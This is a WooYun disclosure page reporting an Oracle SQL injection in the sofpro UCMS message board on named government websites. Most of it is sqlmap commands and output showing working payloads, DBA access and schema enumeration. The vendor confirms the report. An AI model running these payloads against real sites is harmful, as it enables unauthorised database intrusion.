当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077361

漏洞标题:开普互联sofpro UCMS留言板处oracle注入(dba)

相关厂商:广东开普互联信息科技有限公司

漏洞作者: 郭斯特

提交时间:2014-09-26 15:08

修复时间:2014-12-25 15:10

公开时间:2014-12-25 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-26: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-25: 细节向公众公开

简要描述:

test~

详细说明:

留言版处没有过滤参数consult_seq和 type 导致注射
注射点:sofpro/gecs/questionnaire/index_list_other.jsp?questionnaire_id=
类型:基于布尔型的盲注
http://www.lianping.gov.cn/sofpro/gecs/consulmanage/dgzt_consul_detail2.jsp?consult_seq=260&type=4
E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://www.lianping.gov.cn/sofpro/ge
cs/consulmanage/dgzt_consul_detail2.jsp?consult_seq=260&type=4" --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:19:31
[00:19:31] [INFO] resuming back-end DBMS 'oracle'
[00:19:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: consult_seq
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: consult_seq=260' AND 6137=6137 AND 'LtCh'='LtCh&type=4
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: consult_seq=-7277' UNION ALL SELECT NULL,NULL,NULL,NULL,CHR(58)||CH
R(100)||CHR(97)||CHR(111)||CHR(58)||CHR(104)||CHR(88)||CHR(76)||CHR(106)||CHR(10
6)||CHR(112)||CHR(100)||CHR(98)||CHR(120)||CHR(69)||CHR(58)||CHR(115)||CHR(97)||
CHR(97)||CHR(58),NULL FROM DUAL-- &type=4
---
[00:19:32] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:19:32] [INFO] testing if current user is DBA
current user is DBA: True
[00:19:32] [INFO] fetched data logged to text files under 'E:\Users\ghost\Deskto
p\sqlmap\output\www.lianping.gov.cn'
[*] shutting down at 00:19:32
E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://www.lianping.gov.cn/sofpro/ge
cs/consulmanage/dgzt_consul_detail2.jsp?consult_seq=260&type=4" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:20:20
[00:20:20] [INFO] resuming back-end DBMS 'oracle'
[00:20:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: consult_seq
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: consult_seq=260' AND 6137=6137 AND 'LtCh'='LtCh&type=4
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: consult_seq=-7277' UNION ALL SELECT NULL,NULL,NULL,NULL,CHR(58)||CH
R(100)||CHR(97)||CHR(111)||CHR(58)||CHR(104)||CHR(88)||CHR(76)||CHR(106)||CHR(10
6)||CHR(112)||CHR(100)||CHR(98)||CHR(120)||CHR(69)||CHR(58)||CHR(115)||CHR(97)||
CHR(97)||CHR(58),NULL FROM DUAL-- &type=4
---
[00:20:20] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:20:20] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:20:20] [INFO] fetching database (schema) names
[00:20:20] [INFO] the SQL query used returns 12 entries
[00:20:20] [INFO] resumed: "CTXSYS"
[00:20:20] [INFO] resumed: "DBSNMP"
[00:20:20] [INFO] resumed: "FLOWS_020100"
[00:20:20] [INFO] resumed: "FLOWS_FILES"
[00:20:20] [INFO] resumed: "HEYUAN"
[00:20:20] [INFO] resumed: "HR"
[00:20:20] [INFO] resumed: "MDSYS"
[00:20:20] [INFO] resumed: "OUTLN"
[00:20:20] [INFO] resumed: "SYS"
[00:20:20] [INFO] resumed: "SYSTEM"
[00:20:20] [INFO] resumed: "TSMSYS"
[00:20:20] [INFO] resumed: "XDB"
available databases [12]:
[*] CTXSYS
[*] DBSNMP
[*] FLOWS_020100
[*] FLOWS_FILES
[*] HEYUAN
[*] HR
[*] MDSYS
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] XDB
[00:20:20] [INFO] fetched data logged to text files under 'E:\Users\ghost\Deskto
p\sqlmap\output\www.lianping.gov.cn'
[*] shutting down at 00:20:20
E:\Users\ghost\Desktop\sqlmap>

漏洞证明:

http://xfb.lianping.gov.cn/sofpro/gecs/questionnaire/index_list_other.jsp?questionnaire_id=3

005.png


E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://xfb.lianping.gov.cn/sofpro/ge
cs/consulmanage/dgzt_consul_detail2.jsp?consult_seq=81&type=4" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:35:55
[23:35:55] [INFO] resuming back-end DBMS 'oracle'
[23:35:55] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: consult_seq
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: consult_seq=81' AND 9265=9265 AND 'NHwP'='NHwP&type=4
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: consult_seq=-6509' UNION ALL SELECT NULL,NULL,CHR(58)||CHR(109)||CH
R(117)||CHR(100)||CHR(58)||CHR(105)||CHR(100)||CHR(73)||CHR(103)||CHR(82)||CHR(1
05)||CHR(75)||CHR(77)||CHR(110)||CHR(99)||CHR(58)||CHR(113)||CHR(101)||CHR(121)|
|CHR(58),NULL,NULL,NULL FROM DUAL-- &type=4
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: consult_seq=81' AND 6484=DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(70)
||CHR(104)||CHR(86),5) AND 'LVBp'='LVBp&type=4
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: consult_seq=81&type=4' AND 4735=4735 AND 'qwan'='qwan
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: consult_seq=81&type=-2022' UNION ALL SELECT NULL,NULL,NULL,NULL,CHR
(58)||CHR(109)||CHR(117)||CHR(100)||CHR(58)||CHR(104)||CHR(87)||CHR(84)||CHR(116
)||CHR(110)||CHR(113)||CHR(122)||CHR(121)||CHR(108)||CHR(70)||CHR(58)||CHR(113)|
|CHR(101)||CHR(121)||CHR(58),NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: consult_seq=81&type=4' AND 5127=DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||
CHR(73)||CHR(97)||CHR(65),5) AND 'LJhY'='LJhY
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: type, type: Single quoted string (default)
[1] place: GET, parameter: consult_seq, type: Single quoted string
[q] Quit
> 1
[00:22:18] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:22:18] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:22:18] [INFO] fetching database (schema) names
[00:22:18] [INFO] the SQL query used returns 12 entries
[00:22:18] [INFO] resumed: "CTXSYS"
[00:22:18] [INFO] resumed: "DBSNMP"
[00:22:18] [INFO] resumed: "FLOWS_020100"
[00:22:18] [INFO] resumed: "FLOWS_FILES"
[00:22:18] [INFO] resumed: "HEYUAN"
[00:22:18] [INFO] resumed: "HR"
[00:22:18] [INFO] resumed: "MDSYS"
[00:22:18] [INFO] resumed: "OUTLN"
[00:22:18] [INFO] resumed: "SYS"
[00:22:18] [INFO] resumed: "SYSTEM"
[00:22:18] [INFO] resumed: "TSMSYS"
[00:22:18] [INFO] resumed: "XDB"
available databases [12]:
[*] CTXSYS
[*] DBSNMP
[*] FLOWS_020100
[*] FLOWS_FILES
[*] HEYUAN
[*] HR
[*] MDSYS
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] XDB
[00:22:18] [INFO] fetched data logged to text files under 'E:\Users\ghost\Deskto
p\sqlmap\output\xfb.lianping.gov.cn'
[*] shutting down at 00:22:18
E:\Users\ghost\Desktop\sqlmap>

修复方案:

过滤参数consult_seq和 type

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-09-26 15:18

厂商回复:

非常感谢!

最新状态:

暂无